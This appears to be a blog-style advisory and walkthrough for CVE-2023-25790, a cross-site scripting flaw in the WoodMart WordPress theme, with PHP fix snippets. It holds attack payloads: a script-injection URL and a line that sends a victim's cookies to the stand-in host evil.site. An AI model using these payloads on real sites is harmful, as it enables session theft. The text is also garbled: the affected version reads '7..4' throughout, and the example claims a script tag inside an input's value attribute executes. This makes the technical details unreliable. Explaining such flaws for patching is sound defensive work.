CVE-2023-25790 - XSS Attack in xtemos WoodMart (Up to 7..4) – Exploit Details and Simple Walkthrough

If you’re running an e-commerce site on WordPress and using the popular xtemos WoodMart theme, you need to be aware of a serious security flaw: CVE-2023-25790. This vulnerability allows attackers to inject malicious JavaScript through improper input handling in WoodMart (all versions up to 7..4). Here’s everything you need to know, in plain English, including how the attack works and code examples.

CVE-2023-25790 is a Cross-Site Scripting (XSS) vulnerability caused by

- Improper Authentication: The theme does not correctly confirm if a user is who they say they are before processing some inputs.
- Improper Input Neutralization: The theme does not safely filter user inputs when displaying them on web pages.

This lets attackers inject scripts that run in someone else’s browser.

Affected Product:
WoodMart WordPress theme
Versions: From ALL previous up to and including 7..4

Exploitation Details

Attack Vector:
A malicious actor submits a specially crafted payload (malicious JavaScript code), usually through a form or URL parameter, that gets reflected or stored and displayed to other users.

Where is the Flaw?
Certain WoodMart templates or AJAX responses will output user-supplied data without escaping special characters, making JavaScript execution possible.

Example Attack (with Code Snippet)

Suppose there’s a URL parameter or a form input named search that is output onto the page without escaping, and the theme template uses:

<?php echo $_GET['search']; ?>

An attacker could use the following malicious URL

https://yourshop.com/?search=<script>alert('Hacked!')</script>;

When a victim visits the link, the page will output

<input value="<script>alert('Hacked!')</script>">

This runs the script and displays a popup. More serious payloads could instead steal cookies

<script>fetch('https://evil.site/steal?cookie='+document.cookie)</script>

`

How to Fix It?

Update WoodMart to the latest version (past 7..4), which patches this problem.

Short-term mitigation:

Unsafe

<?php echo $_GET['search']; ?>

Safe:

<?php echo esc_html($_GET['search']); ?>
// or
<?php echo htmlspecialchars($_GET['search'], ENT_QUOTES, 'UTF-8'); ?>

Always validate and sanitize any user-supplied data.

References & More Info

- NVD - CVE-2023-25790
- WoodMart Changelog
- OWASP XSS Guide
- Wordfence Advisory

Final Words

If your WordPress shop uses WoodMart, update _right now_ if you’re on version 7..4 or lower. XSS can silently steal user accounts and payment info. If you have a custom theme or child theme, double-check all template outputs for unsafe echoing of user data.

Stay secure, and always keep your dependencies up to date!


*This post is exclusive, fully focused on CVE-2023-25790 and aims to make technical details easy for everyone.*

Timeline

Published on: 04/24/2024 16:15:07 UTC
Last modified on: 04/24/2024 17:16:50 UTC